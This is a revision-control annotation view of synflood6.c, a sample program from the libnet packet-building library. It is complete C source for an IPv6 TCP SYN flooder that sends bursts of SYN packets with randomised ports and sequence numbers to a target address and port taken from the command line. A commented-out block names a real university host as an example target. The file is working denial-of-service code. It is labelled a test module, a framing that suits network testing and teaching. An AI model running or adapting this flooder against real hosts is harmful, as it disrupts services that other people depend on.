Annotation of embedaddon/libnet/sample/synflood6.c, revision 1.1
1.1 ! misho 1: /*
! 2: * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $
! 3: *
! 4: * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
! 5: * SYN flooder rewritten for no good reason. Again as libnet test module.
! 6: * Again for libnet 1.1.
! 7: * All rights reserved.
! 8: *
! 9: * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
! 10: *
! 11: * Redistribution and use in source and binary forms, with or without
! 12: * modification, are permitted provided that the following conditions
! 13: * are met:
! 14: * 1. Redistributions of source code must retain the above copyright
! 15: * notice, this list of conditions and the following disclaimer.
! 16: * 2. Redistributions in binary form must reproduce the above copyright
! 17: * notice, this list of conditions and the following disclaimer in the
! 18: * documentation and/or other materials provided with the distribution.
! 19: *
! 20: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
! 21: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
! 22: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
! 23: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
! 24: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
! 25: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
! 26: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
! 27: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
! 28: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
! 29: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
! 30: * SUCH DAMAGE.
! 31: *
! 32: */
! 33:
! 34: #if (HAVE_CONFIG_H)
! 35: #include "../include/config.h"
! 36: #endif
! 37: #include "./libnet_test.h"
! 38:
! 39: struct t_pack
! 40: {
! 41: struct libnet_ipv6_hdr ip;
! 42: struct libnet_tcp_hdr tcp;
! 43: };
! 44:
! 45:
! 46: int
! 47: main(int argc, char **argv)
! 48: {
! 49: struct libnet_in6_addr dst_ip;
! 50: struct libnet_in6_addr src_ip;
! 51: u_short dst_prt = 0;
! 52: u_short src_prt = 0;
! 53: libnet_t *l;
! 54: libnet_ptag_t t;
! 55: u_char *cp;
! 56: char errbuf[LIBNET_ERRBUF_SIZE];
! 57: int i, c, packet_amt, burst_int, burst_amt, build_ip;
! 58: char srcname[100],dstname[100];
! 59:
! 60: packet_amt = 0;
! 61: burst_int = 0;
! 62: burst_amt = 1;
! 63:
! 64: printf("libnet 1.1 syn flooding: TCP6[raw]\n");
! 65:
! 66: /*
! 67: * Initialize the library. Root priviledges are required.
! 68: */
! 69: l = libnet_init(
! 70: LIBNET_RAW6, /* injection type */
! 71: NULL, /* network interface */
! 72: errbuf); /* error buffer */
! 73:
! 74: if (l == NULL)
! 75: {
! 76: fprintf(stderr, "libnet_init() failed: %s", errbuf);
! 77: exit(EXIT_FAILURE);
! 78: }
! 79:
! 80: while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
! 81: {
! 82: switch (c)
! 83: {
! 84: case 't':
! 85: if (!(cp = strrchr(optarg, '/')))
! 86: {
! 87: usage(argv[0]);
! 88: exit(EXIT_FAILURE);
! 89: }
! 90: *cp++ = 0;
! 91: dst_prt = (u_short)atoi(cp);
! 92: dst_ip = libnet_name2addr6(l, optarg, 1);
! 93: if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
! 94: {
! 95: fprintf(stderr, "Bad IP6 address: %s\n", optarg);
! 96: exit(EXIT_FAILURE);
! 97: }
! 98: break;
! 99: case 'a':
! 100: packet_amt = atoi(optarg);
! 101: break;
! 102: case 'i':
! 103: burst_int = atoi(optarg);
! 104: break;
! 105: case 'b':
! 106: burst_amt = atoi(optarg);
! 107: break;
! 108: default:
! 109: usage(argv[0]);
! 110: exit(EXIT_FAILURE);
! 111: }
! 112: }
! 113:
! 114: src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
! 115: /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
! 116: dst_prt = 113;
! 117: dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
! 118: packet_amt = 1;*/
! 119:
! 120: if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
! 121: {
! 122: usage(argv[0]);
! 123: exit(EXIT_FAILURE);
! 124: }
! 125:
! 126:
! 127:
! 128: libnet_seed_prand(l);
! 129: libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
! 130: libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
! 131:
! 132: for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
! 133: {
! 134: for (i = 0; i < packet_amt; i++)
! 135: {
! 136: char payload[56];
! 137: int i;
! 138: for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
! 139: t = libnet_build_tcp(
! 140: src_prt = libnet_get_prand(LIBNET_PRu16),
! 141: dst_prt,
! 142: libnet_get_prand(LIBNET_PRu32),
! 143: libnet_get_prand(LIBNET_PRu32),
! 144: TH_SYN,
! 145: libnet_get_prand(LIBNET_PRu16),
! 146: 0,
! 147: 0,
! 148: LIBNET_TCP_H,
! 149: NULL,
! 150: 0,
! 151: l,
! 152: t);
! 153:
! 154: if (build_ip)
! 155: {
! 156: build_ip = 0;
! 157: printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload));
! 158: libnet_build_ipv6(0,0,
! 159: LIBNET_TCP_H,
! 160: IPPROTO_TCP,
! 161: 64,
! 162: src_ip,
! 163: dst_ip,
! 164: NULL,
! 165: 0,
! 166: l,
! 167: 0);
! 168: //libnet_autobuild_ipv6(LIBNET_TCP_H,IPPROTO_TCP,dst_ip,l);
! 169: }
! 170: printf("%15s/%5d -> %15s/%5d\n",
! 171: srcname,
! 172: ntohs(src_prt),
! 173: dstname,
! 174: dst_prt);
! 175: c = libnet_write(l);
! 176: if (c == -1)
! 177: {
! 178: fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
! 179: }
! 180: #if !(__WIN32__)
! 181: usleep(250);
! 182: #else
! 183: Sleep(250);
! 184: #endif
! 185:
! 186: }
! 187: #if !(__WIN32__)
! 188: sleep(burst_int);
! 189: #else
! 190: Sleep(burst_int * 1000);
! 191: #endif
! 192: }
! 193: exit(EXIT_SUCCESS);
! 194: }
! 195:
! 196:
! 197: void
! 198: usage(char *nomenclature)
! 199: {
! 200: fprintf(stderr,
! 201: "\n\nusage: %s -t -a [-i -b]\n"
! 202: "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
! 203: "\t-a number of packets to send per burst\n"
! 204: "\t-i packet burst sending interval (defaults to 0)\n"
! 205: "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
! 206: }
! 207:
! 208:
! 209: /* EOF */
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